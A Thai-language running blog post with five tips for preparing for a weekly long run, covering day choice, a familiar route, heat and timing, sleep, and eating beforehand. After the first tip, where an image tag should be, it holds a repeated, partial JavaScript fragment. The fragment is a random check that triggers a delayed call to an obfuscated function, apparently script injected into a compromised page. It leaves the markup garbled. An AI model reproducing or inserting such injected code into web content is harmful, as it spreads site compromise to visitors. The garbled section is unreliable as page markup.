หนทางยังอีกยาวไกล…5 ทิปง่ายๆ สำหรับการเตรียมตัววิ่ง Long Run

ตามธรรมเนียมประเพณีปฏิบัติของนักวิ่งทั่วไปแล้ว ภายในหนึ่งสัปดาห์จะต้องมีวันหนึ่งที่จะต้องใช้ฝึกวิ่งระยะยาว หรือที่มักเรียกกันว่า Long Run เรามาดูกันว่า 5 ทิปง่ายๆ สำหรับการเตรียมตัววิ่ง Long Run นั้นมีอะไรบ้าง

5 ทิป การเตรียมตัววิ่ง Long Run

1. เลือกวันว่างเสาร์อาทิตย์ดีที่สุด อย่างวันเสาร์ถือว่าเหมาะมากสำหรับการฝึกวิ่ง Long Run และแม้จะเป็นการวิ่ง pace สบายๆ แต่กินระยะเวลาฝึกซ้อมนาน อย่างน้อยก็ไม่ต่ำกว่า 90 นาที นี้คือสาเหตุที่เลือกช่วงวันหยุดก็เพราะ ช่วยลดการรบกวนจากงานประจำที่ทำอยู่ จะได้มีเวลาโฟกัสกับการฝึกเติมที่ นอกจากนี้เราจะมีเวลาพักผ่อนที่ยาวมากขึ้น ยิ่งฝึกมากเราก็ต้องการเวลาพักฟื้นที่เพิ่มขึ้นด้วย สำหรับใครที่ฝึกวันธรรมดาช่วง จันทร์-ศุกร์ ระวังจะนอนยาวไปทำงานไม่ทันนะครับ นี้ยังไม่รวมอาการเมื่อยล้าจะการวิ่งด้วย

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-tanglao-436401-unsplash-1.jpg”>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-tanglao-436401-unsplash-1.jpg” alt=”Long run” width=”900″ height=”472″ />

2. เลือกเส้นทางที่คุ้นชิน จุดประสงค์สำหรับการวิ่งครั้งนี้คือต้องการวิ่งให้นานที่สุดตามที่วางแผนไว้ การเลือกเส้นทางใหม่ๆ จะทำให้เราขาดสมาธิ เร่งฝีเท้าโดยไม่รู้ตัวได้ ทำให้การควบคุมการหายใจและอัตราการเต้นหัวใจหลุดโซนได้ เราต้องการฝึกร่างกายให้อยู่ในแอโรบิคโซน เพื่อให้ร่างกายดึงไขมันและใช้ออกซิเจนในการสันดาปเกิดเป็นพลังงานได้อย่างต่อเนื่อง

การฝึกสถานที่เส้นทางจะช่วยกันไม่ให้คุณหลงด้วย การคุ้นชินเส้นทาง รู้ว่าห้องน้ำห้องทาอยู่ต้องไหน เมื่อเวลาต้องการใช้จะได้ตรงไปได้เลยและรู้ว่าจุดบริการน้ำและอาหารมีต้องไหน เวลาเสบียงหมดจะได้ไม่เสียเวลาหาซื้อ

3. กำหนดเวลาฝึกให้ดี ไม่งั้นจะกลายเป็นการฝึกวิ่งปิ้งย่างกันทั้งวัน เพราะเมืองไทยเป็นเมืองร้อน พระอาทิตย์ขึ้นก็ร้อนตับแตกแล้ว ไม่เหมือนเมืองนอกที่หนาวสบายสามารถวิ่งได้ตลอดเวลา นักวิ่งผู้นิยมวิ่งรอบช้าควรมีการเตรียมอุปกรณ์ให้พร้อมก่อนนอน เสบียงอาหรอย่าง Energy Gel, Energy Bar และขวดน้ำ สำหรับใครนิยมฝึกวิ่งตอนเย็นๆ ก็อย่าลืม Head Lamp หรือเสื้อสะท้อนแสงด้วย เพราะเส้นทางวิ่งบางครั้งก็ไม่มีแสงสว่างทั่วถึง

4. นอนหลับให้เพียงพอ การนอนหลับให้เพียงพอถือว่าเป็นหัวใจสำคัญอย่างหนึ่งที่ขาดไม่ได้ การนอนหลับไม่เพียงพอจะมีผลต่อ performance มาก อัตราการเต้นของหัวใจจะสูงขึ้นด้วย สมองไม่ปรอดโปร่ง ไม่มีแรงและเหนื่อยง่าย

5. ห้ามวิ่งท้องว่าง สำหรับการวิ่ง Long Run ร่างกายก็ต้องการพลังงานในการเผาผลาญเช่นกัน นักวิ่งควรตื่นให้เร็วขึ้นกว่าเดิมเพื่อรับประทานอาหารไว้ก่อนอย่างน้อย 1-2 ชั่วโมงก่อนออกวิ่ง นอกจากนี้เราจะได้มีเวลาเตรียมตัวเข้าห้องน้ำด้วย วิ่งไปปวดท้องปวดอุจาระทันไม่สนุกเลย ยิ่งถ้าห้องน้ำตามทางไม่สบายพาลจะเสียอารมณ์ไม่อยากวิ่งต่อเอา

อ้างอิง authorityrunning.com